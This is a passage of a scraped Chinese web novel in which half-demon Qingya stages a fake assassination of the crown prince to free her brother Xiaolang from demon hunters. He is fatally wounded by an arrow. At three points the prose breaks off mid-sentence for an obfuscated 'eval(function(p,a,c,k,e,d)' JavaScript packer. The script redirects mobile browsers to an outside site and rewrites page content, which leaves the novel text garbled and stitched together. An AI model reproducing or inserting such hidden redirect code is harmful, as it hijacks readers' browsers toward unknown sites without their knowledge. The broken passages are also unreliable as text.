虽然如此交代了,青崖却也知道,小狼还是会记挂着怎么找杀手和那个负心人。 小狼每隔几日就带着各种贵重礼物补品去拜访一次芊芊家,已与芊芊父母熟识,把自己青州“家里”的情况都自报家门介绍过了,芊芊父母自然也知晓他的意图,并没有显出怀疑或排斥,对他很是中意。 牡丹与红鸾张罗着准备房契、媒人、聘礼。 诛邪司有公开告示,帮助捉妖有重赏,赏金相当于一座京城宅院,青崖和红鸾看多了这种告示,虽有了更多隐灵膏,还是打算少在京城走动,多在宅院里待着。 只有小狼常常出去,有时是与芊芊碰面,有时是带礼物去拜访芊芊父母。 这日,他又涂好隐灵膏出门。他没拿白玉芝,不是去芊芊家,只是和芊芊约在一个老地方私下见面,因此只有他自己去了,没让季师傅派给他的随从跟着。 青崖送他走后,在案几上铺开纸笔。 有了长山与楚醉君这层关系,她开始认真考虑给哲远与裴浩写一封信。打算也学一学楚醉君与长山通信的方式,写一封只有他们之间能看懂的密信。 红鸾也在一旁拿着笔罗列聘礼清单。 青崖的一封信修修改改还没写完,院门忽然砰的一声被推开,有人喘着粗气急急忙忙跑进屋来。 “林公子回来了没有?”季师傅快步跑进来,面色焦急地问道。 青崖放下笔,满面狐疑:“他才出去一个多时辰,还没回来,怎么了?” 季师傅扶着门框喘着粗气,显然跑了好一段路,“听说诛邪司上午捉了一个狼妖,只怕就是林公子……” “什么?!”青崖与红鸾勃然变色,猛地站起,盯着季师傅问:“你只是听说还是看到了?” “我在街市买东西,突然听人都在说诛邪司捉了一个狼妖。”季师傅气还没喘匀,道:“我没亲眼看见,但花钱买通了一个知情人,打听得清楚,那人说一个狼妖觊觎某家人的小女儿,不知怎么跟着那家女儿混入京中,多亏那家小女儿足智多谋,与妖假意示好,约定今日见面,实则带诛邪司的人在见面地点设下陷阱,帮助捉妖。他们不知那妖叫什么名字,但我听他们形容外表,一个十五六岁小公子的模样,个头高,皮肤黑,分明就是林小公子啊!” “你 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牡丹的到访与慌张神情更验证了季师傅带来的消息。京中安宁多年,突然出现一个妖,估计满京城的人都知道了。 “听说了,”青崖道,“但还不确定被抓的是不是小狼,我要去芊芊家看看。” 青崖说着就往外走,牡丹抓住她道:“别去,我确认过了,就是芊芊一家帮着诛邪司设下的陷阱,他们一家已经作为人证被诛邪司带去问话,你们现在可千万不能露面!芊芊知道你们在京城,说不定正和诛邪司的人商议怎么诱捕你们呢!” 青崖全身一震,缓缓转回头瞪着牡丹面具后的双眼,“……不可能……”语气已没有之前坚定。 “诛邪司去你家或清妙坊了吗?”红鸾问。 牡丹摇头:“还没有。” “没人去你那里,也还没有人找到这里,说明小狼确实没有把我们住的地方还有与你的交情告诉芊芊,她就是想带人找我们也不知去哪里找。”红鸾思索着道,“诛邪司的术士必定会审问小狼,他怕是……“ 红鸾无法再说下去。 青崖一想到术士对小狼可能采取的手段,心痛如绞,果断道:“得快去救他!诛邪司……咱们这就去诛邪司!” “你以为诛邪司是街市吗?可以让你可以随便出入?!那里的术士比皇宫里还要多!”为了震慑青崖,红鸾故意厉声怒斥,“我也想救他,可是只凭莽撞行事不仅不能救他还会白白送死!” 这一声怒喝果然管用,青崖咬牙站在原地,强压纷乱如麻的心绪,分析起当前情形。 “诛邪司的人抓住小狼后……一定想弄清楚小狼是怎么混入京城的,为什么隐灵膏检验不出他的身份,他还有没有其他同伙。” 红鸾点头:“没错,小狼一定什么都不愿说,不过这里我们也不能再呆了,不知芊芊到底知道多少。” 牡丹道:“我在京郊外还有一处庄园……” “我们不能现在出城,”红鸾斩钉截铁道,“诛邪司虽然不会立刻要了小狼的性命,但随时都有这种可能。京城发现有妖,必定会加强各处防守,无论出去还是进来都更危险。我们还是得在京中待着,方便打听情况,设法营救小狼。” 红鸾可化作飞鸟,她出入京城自然方便,不方便的是青崖与玉颜。 提起打探情况,青崖与姐姐对视一眼,不约而同想到了一个人——一个她们的同族。 65. 肃肃兔罝,施于中逵1 楚宅。 为了掩人耳目,青崖与红鸾特意换了一身不显眼的布衣,走的是后门。 以楚醉君这样特殊的身份,全府上下必定都得是自己人,因此不怕他府上其他人看到,说明来意后,开门的家丁直接将她们引入院中,叫来了楚怀义。 楚怀义亲自将二人带到一个静室,支开旁人后,对她们开门见山道:“你们来得不巧,楚醉君不在,不过我猜他出去打听的正是你们当前最关心的事。他上午收到一封宫里传来的密信,宫里那位要他无论如何也要帮忙先去打听打听捉到的狼妖是什么身份,现在怎么样了。” 京城发现妖乃是大事,诛邪司必定第一时间上报,在宫里听说消息就传出密信让楚醉君帮忙的,那一定是长山了。 楚怀义让人给青崖和红鸾上了茶,安抚道:“你们在此等一等吧,楚醉君说过,如果你们来了要让你们先别离开,他会尽快回来的。” 几乎到了午后,楚醉君才从外面回来,打探到的情况与季师傅所说相似,不过更为详细。 小狼是上午在玉瓷街被捉的,十几个术士知道他要去那里,提前设下陷阱,小狼一出现,当即被抓,带入诛邪司。正如青崖猜测的一样,诛邪司的术士都很奇怪向来灵验的鉴形墨为什么鉴别不出小狼的身份。 “诛邪司对于捉到的妖有一套固定的流程,先测灵根属性,后观察记录能力特点,再根据灵根属性,按照五行相克的规律,进行针对性地刑讯审问。配合官府设陷阱的的确是姓周的一家。现在那家人已被作为人证带到官府看管起来。“ 楚醉君陈述得过于冷静,甚至有些不近人情地冷漠。 事实摆在眼前,如果没有芊芊配合,诛邪司不可能知道小狼是妖,更不可能提前埋伏。青崖又怒又惑,胸臆间仿佛有什么要炸裂开来,此刻却无暇深究芊芊为什么这么做,只想着怎么救出小狼。 “请你帮忙救救小狼,”她央求楚醉君,“你在京城布局多年,一定有办法救他的,是不是?” “小不忍则乱大谋。”楚醉君用扇柄轻轻拨开青崖抓着他袖角的手,道:“为了大局着想,就是我的同伴被捉,我也不能贸然相救。甚至开天盟的同伴有人在被捉时就自己选择赴死,以免自己受刑支撑不住,吐出我们的秘密。“ “受刑?”青崖颤声发问,“他们会怎么用刑?” “术士的法器与术法,都是在他们捉到的妖身上试练出来的,你说他们会怎么用刑?反正你也无法救他,还是别问了,了解更细致也只是徒增焦急。” 楚醉君语气如霜,红鸾似乎早就料到他会这样,因此一直没有开口说话,视线牢牢锁在他的脸上,在心中盘算着可以用什么做筹码让他愿意出力。 “怎么无法救他?”青崖激动道,“我就是硬闯诛邪司也一定要救我弟弟!” “我劝你们不要涉险,免得把你自己和你姐姐也赔进去。小狼被抓了只能听天由命,现在,妖的地位就是如此。” 青崖咬牙道:“你帮我这一次,以后我就供你和开天盟驱遣。” 楚醉君语带讥讽:“我与开天盟所谋之事,关乎灵族全族的未来。你作为族中的一员,参与为我族谋生之事,竟还要讲条件?此事事关重大,若非与我同心之人,我不会接纳。” 青崖显出一抹愧色,知道自己说错了话,顿了顿道:“是我口不择言了。其实,即使没有任何条件,我也愿意加入开天盟,为灵族未来出力,可是现在,我必须先救我弟弟。” 楚醉君定定看了青崖片刻,语气略温和了几分,道:“既然想出力,那更要以大局为重,从诛邪司救一个妖出来,所冒的风险实在是你难以想象的。救小狼……对开天盟和我来说,有百害而无一利,我不能冒险。” 不能冒险,那就意味着如果愿意冒险是有办法的。 青崖抓住这个突破口,坚定道:“好,那我只好讲条件了,你不帮我救小狼,我就永不加入开天盟。我身手好,速度快,五感强,还是灵识系,你不是很需要灵识系帮你收集情报吗?” 楚醉君淡淡道:“可你连内丹都还没有,不像鹤少能读取他人记忆,那就作用不大。身手的确好,不过仅这一条,不值得作为让我冒险的条件。” 青崖道:“前几日,我为了找白玉芝,进入过国师药房。这件事,长山没告诉你吧?” 楚醉君一怔,微微眯眼,“国师药房在无念堂,无念堂周围有术士布下的结界,你是怎么进去的?” 红鸾听到青崖拿自己做筹码,本有阻止之意,却也知道这是目前唯一能说动楚醉君的方式,轻轻叹了口气,任凭她继续与楚醉君交涉。 青崖看到一丝说动楚醉君的希望,压抑着声音中的颤抖道:“我是半妖,术士的结界拦不住我,说不定他们的其他术法也对我不起作用。你在建筑修仙阁的队伍里安插大量自己人,也是为了提防宫里有什么万一,需要有能方便随时入宫的自己人,而且人数越多越好吧?” 楚醉君眼中透出一丝颇有兴味的光芒:“哦?” 青崖直视楚醉君的眼睛,坚定道:“你会需要我的。帮我救弟弟,从此以后,我为开天盟出力。” *** 楚醉君的“父亲”楚怀义在乐府就职,位分不高,连面圣的机会都很少,只因曾献上过一本珍贵的古乐谱集,龙心大悦,这才得了一次丰厚赏赐,在京中得一官职与一上好庭院。 府上除了他们“父子”二人,别无其他亲眷,另有家丁近十人。 这些家丁表面是做各种杂务,实际都是楚醉君精心挑选出的开天盟的人。他们只在有外客来时伪装成端茶倒水的家丁,如果来客是青崖红鸾这样知道内情的人,他们便知会地给楚醉君留出空间,守在府邸门里门外各个角落,以防有外人突然到访,可以及时通知楚醉君与特殊来客。 楚怀义在乐府就职,负责搜集整理民乐,因此府上常有乐人、舞者来往,常有丝竹管弦之声。家丁们常听常见,一听到楚醉君会客的后堂中传出袅袅琴音,所奏是一曲《望月》,就知道他正在思索某个难题,都不敢去打扰,也丝毫没有放松警惕,仍是一边做着杂活,一边注意着四周的动静。 青崖却没听过这曲《望月》,只是奇怪楚醉君答应救人后,说是想办法,怎么竟然兀自弹起琴来。 红鸾与楚醉君比试谁更沉着一般,入座听琴,不动如山,只有微蹙的眉头,显出一丝真实的焦急。 青崖在屋里焦急地来回,将要脚底生烟时,楚醉君终于一扬手,奏完最后一个音。 “想出办法了?”青崖停在他面前问。 楚醉君双手轻轻按在琴弦上,终止琴弦最后的颤动,开口道:“诛邪司是比皇宫术士都多的地方,你身手再好,想闯进那里救人也是不可能的。” “那怎么办?你不能反悔……” “我可以想办法让他们把人带出来。” “怎么带出来?” “如今汤固不在京中,诛邪司是他儿子汤卓领导,汤卓年轻气盛,好大喜功,”楚醉君徐徐分析道,“他们许久没有在京城捉到过妖了,若是提议带妖示众游行,他们一定不会拒绝,皇帝最爱展示皇威,只要有人稍加劝说,必定也会同意。” 青崖大喜:“如果能把小狼从诛邪司带出来,我们就方便动手了!” 楚醉君道:“没错,不过为了稳妥起见,不能让人看出小狼是被他人精心谋划后救走的,如果叫人看出来,那么建议带妖示众游行的人就会被怀疑。我在朝中安插一个人前后要做许多铺垫,如非必要,决不能让我的人暴露。所以,你前后的行为必须严格按我计划行事。” 青崖纳闷:“要救小狼还不能让人看出是特意救他?那要怎么做?我当街劫囚车,必定生乱,过不多久满京城都会传遍这个消息的。” 楚醉君微微一笑,道:“那自然是用更大的意外遮掩。顺便,你可以帮我办一件事。” 没想到这么快楚醉君就有事情交给自己办,青崖点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为了确定到底什么术法对青崖有效,什么无效,楚醉君找来了开天盟内部的术士与她试练。 结果是术士的结界的确拦不住她,术士的符篆也对她无效,自带追踪效果的缚妖索与伏妖网在她面前毫无追踪效果,包括那些诛邪司研究出的专门针对妖的毒药,她喝下后也只是感到辛辣或酸涩,除了感到难喝以外,并无大碍。 术士几乎把所有手段都试了个遍,最后只剩下两种不能试的。 “这是引雷符,用起来威力大,雷击范围内不分人妖都会受伤,动静也大,术士有时用他发出求助信号,这个就不演示了,术士就算用也只会在四下无人时使用,京城几乎没人用过。” 术士放下引雷符拿起一支通体漆黑的箭。 “这是玄冥箭,制作箭的材料取自坟地里生长的土石树木,内含大量煞气,箭身上刻有符文,是灵族的一大克星。” 楚醉君抬手在术士十步外用冰凝结出一块巨冰,足有一丈见方,术士对准坚冰拉弓射箭,只见那黑色利箭触到坚冰直射而入,像穿过空气一样毫不受阻,穿过方形坚冰后笃的一声,钉在后面的院墙上,没入寸余,在方形冰块上留下了一个前后贯通的孔洞。 “玄冥箭可穿透一切灵力操控或制造出的东西,包括金木水火土等,只要是用灵力操控的东西都拦不住它,灵族在这种箭面前,只能像普通人一样靠身法躲避。一旦被此箭射中,至少也是重伤,如果被射中的是内丹所在处,那么绝无生还可能。在你身上管不管用,也不能试,总之,你还是要小心,千万不可被这种箭射中。” “你这体质的确特殊,”楚醉君从旁观看,对测试结果很是意外,“你除了身有灵力,其他各个方面,都更像人族,而不是灵族。不过,‘刺杀’太子时还是要注意,且不论太子不能真的有事,妖本身也不能亲手杀人,怎么刺,刺哪里,我会请教一下宫里那个人。” ——所谓宫里那个人,自然就是长山。 青崖道:“只要我对你有用,对开天盟有用,能让你们帮我救小狼就好。” “我会安排我们的人在朝堂上恭喜诛邪司,提议诛邪司带小狼游街示众,震慑军民。”楚醉君道,“你们安生等消息就是,不用到处打听,免得引人注意,我有什么最新消息会先通知你们,我这里的消息一定是最快最准的。” 66. 肃肃兔罝,施于中逵2 一日后,果然传出了皇帝允许诛邪司押着新捉到的狼妖游街示众的消息。 因为预料到事后京城必定全城搜捕加强防守,严查在京人员,所以在游街前几日,牡丹把青崖和红鸾送出了城,除了牡丹的心腹,其他所有见过她们的人都以为她们离开了。 当晚,告别牡丹没多久后,她们通过楚醉君提供的地下密道返回京城,潜伏在另一处楚醉君提供的荒宅中。为了计划顺利,她们时常乔装打扮一下出去走动,熟悉熟悉京城地形。 楚醉君还带青崖去看了这次计划需要用到的两处传送阵,其中一个在一条隐蔽的死角胡同尽头,另一个在一处布坊的后院里。 迄今为止,青崖已使用过楚醉君家与长山炼丹房地下的传送点,还有京城南侧出入京城的传送点,现在又多了两个传送点。 她不禁好奇:“京城里有多少这样的传送点?” “有一些。”楚醉君神秘道。 就像隐灵膏一样,传送阵是灵族的秘密武器。每个传送点都极为隐蔽,有的是单向的,有的是双向,有的是多向,启动方法也各不相同,做足了保密功课。 “你还不能完全信任我,所以要对我保密,是吧?”青崖问。 “是,我们在京城的谋划,最重要的就是保密,身份保密,行踪保密,计划保密。”楚醉君道,“你以后也要习惯这样的做事方式,别等牵连到旁人,甚至坏了大事,再后悔莫及。” *** 游街当日,青崖翻墙入宫。 白日潜入皇宫自然比夜晚潜入要困难得多,不过她换了一身宫女装扮,宫中又有一个老嬷嬷作内应,事情就简单了。 她跟着老嬷嬷,按照提前规划好的路线,巧妙避开守卫,遇人能躲则躲,躲不开就低头跟着嬷嬷行礼,几乎没费什么工夫就到了太子所在的长乐宫。 “接下来只能靠你自己了。” 在一个分叉路口,老嬷嬷给她指了一个方向,然后不回头地走向另一条路。 双方只在最开始打了个照面,之后青崖全程都是跟在嬷嬷后面,她几乎没能记住那老嬷嬷的长相,只记住了老嬷嬷那平稳沉静的声音和插着一根胡桃木簪的发髻。 …… 长乐宫,太子寝殿的宫人与侍卫们窃窃私语。 今日驻守东宫的术士和侍卫都比平日少得多。术士是被调去负责游街的时候看守妖犯和巡视街道,一些侍卫则是获得允许,请假休沐去看热闹了。 另外还有一部分侍卫正在长乐宫东北角看裴将军演练新剑法。 太子向来体恤下人,因此东宫上下时常被一种轻松的氛围包裹着,整个皇宫的宫人们都愿意来东宫做事。 “早知道今日狼妖游街示众,我前几日就不该休沐,调到今日多好?否则也不会白白错过这个瞧新鲜的好机会。” 太子寝殿外,当值的守卫都在羡慕能去看狼妖的同伴。 妖的数量稀少,很多人只是听说过没有见识过,他们都在期待着去见识过的同伴回来给他们讲讲狼妖长什么模样。 这本是令人激动的话题,他们却不知为何越来越困,越来越困,最终身子一歪,昏倒在地。 青崖掐灭手中的迷香,从宫殿屋顶上跃下,望了一眼头顶的匾额,确认这是太子的寝殿,推门而入。 殿内宽敞明亮,屏风后有一个清瘦朦胧的人影,他手执书卷,却显然无心阅读,一听到推门声就起身绕过屏风走了出来。 五年过去,他依然瘦削,只是长高了不少,从十五岁到二十岁,他身上彻底褪去了孩子的影子,变成了一个容颜灵秀的谦谦君子。 由于模样变化有些大,青崖一时不敢确认这就是自己五年前救过的阿远,目光扫过对方的眉间,看到那粒小小朱砂痣,才越觉对方眼熟,分明是那个与自己结拜过的阿远弟弟。 依旧肤色白净,发丝柔软,依旧从骨子里透出一股毫不声张的贵气。 “青崖姐,你来了。”哲远唇边带着淡笑,如同招呼一个昨日才见过的朋友。 听到这声“姐”,青崖微微一怔,直想把手中的匕首藏起来。她犹豫了一下,最终没有那么做,还是让锋利的匕首暴露在对方眼前。 哲远他看起来仍然比常人脸色苍白,病体单薄,能受得住自己的一刀吗? 五年后首次会面,却没法开心畅聊,青崖在距离哲远十几步远的地方驻足,问:“你知道我是来做什么的吗?” “我知道。”哲远安静道,就像她只是来送他一本喜爱的游记。 “知道你还笑?” “久别重逢,见到你太高兴了。” 话虽如此,哲远表现出的情绪只是淡淡的,和从前一样内敛。不理解他的人甚至会以为他的话只是客套,可青崖能听出,那是真话。 “你们走后没多久,我遇见一个小狼妖,”青崖边说边注意着周遭的动静,确认没有任何清醒的人能听到他们的对话,“我与他结拜为姐弟,他与我朝夕相处五年,今年十七岁……对不起,我一定要救他,我需要你的帮助。” “真羡慕他,与你结拜就可以在槐谷住下。是住在那个木屋吗?” “对,就是那个木屋,还住在你也住过的房间里。咱们后来一起盖的房子很结实,现在有些地方都长了青苔,院子里的树也高了,草地上开的花一年比一年多……” 青崖控制不住地啰嗦起来,不合时宜地叙旧,只为了推迟一会动手的时间。 哲远静静地听着,等她停下时,微微颔首,道:“我也想与你多聊聊,但是咱们时间有限,青崖姐,动手吧。” “小狼有个心上人,我们这次就是为了给他求亲而来京城的,不过,我也期望能到京城见到你们,对了,祭天仪式我去了……” “我知道,你还吹笛子了呢,特别好听。” “小狼也知道你,我常在他面前说他不如你,等这次事后,有机会一定让他来拜谢你……” “好,我很期待认识他,不过得先让他脱离诛邪司。” 青崖举起匕首,对准哲远肋下,迟迟无法刺出。 “放心,我已提前服用过特制灵药,”哲远道,“只要你别抹我脖子刺我心口,我一定性命无忧。” “长山的药吗?” “是啊,他做了国师后医术更精进,研制出了许多灵药,我其实也没有看上去这么虚弱,受了伤正好可以偷懒修养一段时间不用处理政务。” “你政务很多吗?” 哲远也知道青崖故意拖延,故意没有搭腔,默了片刻,青崖还是没有动作,他转头对外大喊:“来人!有刺客!” 青崖只用迷香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672722|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷晕了寝殿近处的宫人与侍卫,哲远如此一喊,长乐宫其他方位的侍卫宫人必定闻声前来。 “青崖姐,没时间了,快动手。“ 他话音刚落,殿外便响起一阵杂乱的脚步声。 时间紧迫,青崖终于狠心递出匕首,一下刺入哲远腹侧,鲜血涌出,淋淋漓漓滴在地上。 哲远趔趄了一下,扶着宫殿柱子缓缓蹲坐下去,“快走……” 这一刀刺中的位置与深浅都符合长山的嘱咐,青崖特意没有拔出匕首,蒙上面巾,空手逃出寝殿。被惊动的侍卫都已提着刀剑抵达宫殿门口,先来的这一批足有二三十人,为首的正是裴浩。 青崖随机在迎面而来的侍卫手中夺了一把刀,一伸手便砍断了第一杆刺向她的长矛,待第二人刺来,又给砍断,第三人拿的是刀,青崖右手拨偏刀锋,压得那人曲肘贴身,她左手一掠,夺了对方的刀一掷,逼开了一排最前方的侍卫。 连续叮叮当当几声,她以让人看不清的速度砍断了多根长矛,掷走了几把长刀。丢了刀的侍卫去捡那些被掷在地上或树上的刀,竟是费力拔了许久都拔不出来。 侍卫们都被她的诡异身手给镇住了,在宫殿前方,把她围在中间,不敢再和她交手,唯有裴浩站在队伍最前方,瞪着她质问:“大胆刺客!还不束手就擒?” 青崖蒙着面,袖上手上沾着哲远的血,有些疑心裴浩是不是没认出自己,因为他的惊讶与怒意太真实了。 比起明显成长的哲远,裴浩的外貌几乎没什么变化,这般怒目圆瞪的样子,简直与初见时误以为她是刺客、拼死拦住山洞洞口的神情一模一样。 不同的是,这次他身上没有伤,一身铠甲英武气派,不等青崖说什么,他便提剑刺了过来。 二人刀剑相击,满庭游走,旁的侍卫平日见过剑术最厉害的就是裴将军,此时见裴将军剑招虽利,却总也刺不到刺客,每次剑招出时明明对准了刺客,剑招抵时那刺客却总能及时躲开。他们想要从旁助攻,但裴将军与刺客刀剑虎虎生风,身形瞬息万变,贸然出手,难以预料是伤了裴将军还是伤了刺客,只得将宫苑围起来,静观其变。 青崖见裴浩剑技大有长进,剑尖连刺,有如分花,轻灵不失威力,作为裴浩挂名的“小师父”,心中本该感到欣慰,此刻却不是滋味,频频想起裴浩细致照顾哲远的情景。 裴浩宁可自己受伤也不愿哲远受伤,愿以自己性命换哲远安康,这次会不会是哲远答应配合,裴浩想反对却无法反对,勉强应允,其实生气她一见面就刺伤哲远? 青崖本来就从没伤过人,这次“刺杀”的还是久别重逢的友人,面对裴浩怒容,她恨不能丢掉刀剑先说声道歉。心中有愧,手中就变得无力,不敢全力对抗,刀剑相击几次,震得手臂酸麻,竟被裴浩凌厉剑势渐渐逼退至宫墙死角。 砰的一声,青崖后背撞在宫墙上,一手握刀柄,一手抵刀背,格挡着裴浩压向自己脖颈的剑刃,却无法使出全力把对方推开,生怕伤着对方。 “小师父,”占据上风的裴浩突然开口,嘴唇不动地压低着声音,“东南角,快走!” 说罢猛然撤力,借着青崖外推的力,自己飞身向后弹起,“狼狈”落地。 旁人不禁震惊于宫女刺客小小身板居然力大如斯,把勇武的裴将军给震开了! 67. 肃肃兔罝,施于中逵3 “小师父”三个字让青崖心中一暖,如同吃下定心丸,刀尖向下一劈,硬是逼得没来得及起身的裴浩就地向后滚了几圈,趁着身后无人,她转身一跃,翻过宫墙,往宫外逃去。 宫中出现刺客,不仅长乐宫的侍卫,整个皇宫都被惊动,林林总总汇聚了上百人追击,裴浩与他带领的队伍一直追在最前面。青崖控制着逃跑的速度,让追击的侍卫们恰好能看到自己的身影,却总也追不上自己。 避开围追堵截,出了皇宫,一路朝着游街队伍而去。具体路线早在心中记得滚瓜烂熟,飞檐走壁不知越过了多少屋顶与街坊,终于翻过最后一个院墙,跳上最后一个屋顶,抵达游街队伍所在街道,看到了关押着小狼的囚车。 整条街道以囚车为中心,人流涌动,囚车前后左右都有术士压阵,外围就是看热闹的人群,两排士兵做人墙挡住街道两旁的人群,给囚车让出中间的道路。 她到屋顶上时,囚车正好走到自己面前,她猛然从屋顶跳起,越过外围术士,直接落在了关押小狼的牢笼上。 特制的牢笼上有术法禁制,妖一碰到笼子就会被灼烧,因此小狼趴伏在笼子正中间,不过这防不住青崖,她毫无阻碍地踩在了笼子正上方。 红鸾化作红鸟飞在空中,小狼早已看见,再见青崖,立即明白姐姐们是来救自己的。 青崖穿着宫女服,以一条布巾蒙面,对于熟识的人来说,布巾蒙面也能轻易辨认,所以小狼一眼就认出是她,正当小狼张嘴想说什么时,她不着痕迹地将藏于掌心的一颗丹药弹入他的口中。 丹药直接进入喉咙,小狼险些被呛住,咳了几声,吞下后,发现体内被诛邪司术士压制住的灵力恢复了。 “抓住那个刺客!” 裴浩带领的侍卫兵分两路,从街道两端拐了进来,将游街队伍与看热闹的人群都堵在中间。 本来看热闹的人就多,这下就更拥挤了,人们你推我搡,彼此咒骂着。 位于中间距离囚车最近的人都没听到裴浩那声“抓住刺客”,还没弄清怎么囚车上突然多了一个蒙面的宫女,就看到那宫女从旁边几个术士手中抢走了什么东西,丢到笼子里,速度快得令人看不清她的身影。直到被关押在笼子里的狼妖站起身,打开笼子的锁,人们才明白,宫女丢给他的是笼子的钥匙。 “狼妖!狼妖从笼子里跑出来了!”不知是谁率先喊了一嗓子。 围观的百姓惊声尖叫,人墙侍卫再也控制不住他们,人们在街上横冲直撞,都想离开这条街,远离狼妖,然而街头末端有一群兵将口中喊着捉刺客,要进入这条街,两群方向相反的人撞在一起,将街头街尾堵得水泄不通。 “钥匙被那个刺客摸走了!”一个术士大喊。 “我的伏妖网呢?” “我的符篆不见了!” “我的也不见了!” 术士们大惊。 凡是被青崖近身过的术士,身上的法器都被摸走了,没有任何法器的术士与常人无异。 妖无法碰触那些法器,更不可能无视囚笼四周的结界踩在笼子上,因此他们判定这是一个刺客,为了便于逃走而故意放走狼妖扰乱秩序。 青崖给了小狼一个眼神,小狼看向空中红鸟,跟着红鸟指向的方向一跃而起,跳下囚车,钻入人群最混乱的方向。青崖站在囚车上,挑开了几支玄冥箭和伏妖网,看到小狼在人群里消失,也跳下囚车,朝着与他相反的方向逃离。 “别管那个女刺客,专心捉妖!” 术士们确认各种法器都对青崖无用,都转去追踪从笼子里逃脱的狼妖。 三名术士登上街边饭庄的二楼,从窗口探出头,在人群里发现了小狼,喊道:“在那里!” 三个人的玄冥箭不约而同对准人群中的某一处。 青崖大惊失色,可是那三名术士离她极远。 眼看他们的箭在弦上就要射出,饭庄窗边树上的叶子忽然纷纷飘落,阻了术士们的视线,等他们再看清眼前时,人群中早已找不见狼妖的身影。 “狼妖跑了!”术士和人群皆喊。 “抓刺客!”裴浩一马当先,领着数十名追刺客的侍卫拨开人群冲到游街队伍面前,边跑边与术士们互相指责对方挡路。 青崖回头望了一眼,也在人群里看不到小狼了,天上红鸟正在朝着之前定好的方向飞行,她一个纵跃跳上屋顶,踏着屋顶逃窜,引裴浩的人一路往另一个街区而去。 押送囚车的队伍都追小狼而去,街上的人群作鸟兽散状,已不足以拦住裴浩所带的人,不过青崖还是逃得游刃有余,压着速度一路到达一处豪华的府邸。 荣王舅舅的府邸。 她故意等着裴浩追到,留给追兵一个翻墙而入的背影,实则越过墙角落在墙外,根本没有进入荣王舅舅府中。 青崖不再压着速度了,步履如飞地消失在府邸另一侧,直奔附近的一个传送点,将裴浩和追兵都丢在了后面,还顺手脱了用作伪装的宫女服。 事后该怎样描述追击过程,怎样把刺杀太子的嫌疑引到府邸主人身上,便是裴浩与楚醉君他们的事了。 青崖平定了一下心绪,一身轻松,经由传送点去和小狼会合。 传送阵的光芒闪烁熄灭,所到之处是一个荒废的旧屋。 坍塌一半的围墙刚进入眼帘,就听到了屋内楚醉君的声音。 “玄冥箭伤及内丹处,他……不行了。” 青崖雀跃的心开始往下沉。 谁?谁不行了? 她在脑中将前后整个过程快速回想了一遍,明明一切都很顺利,明明自己做对了所有事情,明明所有人都在配合自己,究竟是谁出了意外? 她三步并作两步冲进屋里,只见小狼躺在门边地上,胸口插着一把黑色的玄冥箭。 青崖被门槛绊了一下,一个趔趄摔到小狼身边。 “怎么会这样?小狼,小狼?!” 她脑子嗡嗡作响,比劫囚车时街上的人群还乱。 “他在路上被巡街的术士射中了,”楚醉君语气沉重道,“那术士是扮作平民混在人群里的……“ 红鸾一手虚指在小狼眉心,源源不断地给小狼传输灵力,但小狼的脸色还是无法阻止地越来越灰暗。 青崖带着哭腔:“长山呢?叫长山来,让长山救救他,长山一定有办法!” “长山来了也没办法,”楚醉君道,“以前开天盟的人中箭,他尝试过很多次,心口被玄冥箭射中,哪怕比小狼灵力更强的灵,哪怕不是妖而是人,也无法可解。” 这是在开始计划前,术士早就提醒过的事。 “不可能,不可能,不可能不可能不可能不可能……小狼你不要睡!小狼!”眼前阵阵发黑,唯余小狼伤口处是刺眼的红。 “姐……”小狼奄奄一息地呼唤。 青崖颤抖着握住小狼的手,泪水奔涌而出。 “姐,我想见她……” 红鸾和青崖都知道小狼说的是谁,红鸾厉声道:“她连累你变成这样,你还想见她?!” 小狼央求道:“不是芊芊,一定不是芊芊……” 青崖擦掉眼里的泪,紧握了一下小狼的手,“好,你等着,我去找她,我把芊芊找来见你。” 红鸾拉住她:“青崖!” 现在外面乱成一团,术士和侍卫都在抓人,此时出去实在危险。可现场只有三人,还要有一个人留下用灵力帮小狼护住心脉,否则他一刻也撑不住了。 “你在这里守着他吧,”楚醉君对红鸾道,“我熟悉地形,知道官府把芊芊一家带到哪了,我带青崖去找他们。” 红鸾终是不忍让小狼最后一个心愿也不得满足,松开了抓着青崖的手,“你千万小心,我不能同时失去一个弟弟又失去一个妹妹。” 青崖被这句话拽回了一点理智,郑重点头,然后对楚醉君道:“带路吧。” 去找芊芊的路上她一直浑浑噩噩,只是跟着楚醉君,本能地听从他的指引,要她躲藏就躲藏,要她翻墙就翻墙,他们时而走在地下,时而走在地上,似乎又经过了一两个传送点,终于到达一处像是官府后院又像客栈的地方。 “这是官府专门收留重要人证的地方。”楚醉君道。 院子里有十几名看守,楚醉君在外面喊了一声狼妖哪里跑,一半的人都追了出去,青崖趁机翻墙而入,动作利落地敲晕了剩余几人。 院子两边有两排小房间,里面的人听到动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720622|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静,纷纷从门窗探出头来,但只看到满院倒地的看守,还有某一扇门快速关上的声音。 青崖凭借芊芊父母的声音,直接进入一个房间,果然看到芊芊一家四口都在。 芊芊坐在最角落,正默默流泪,见到她,吃惊地站了起来。 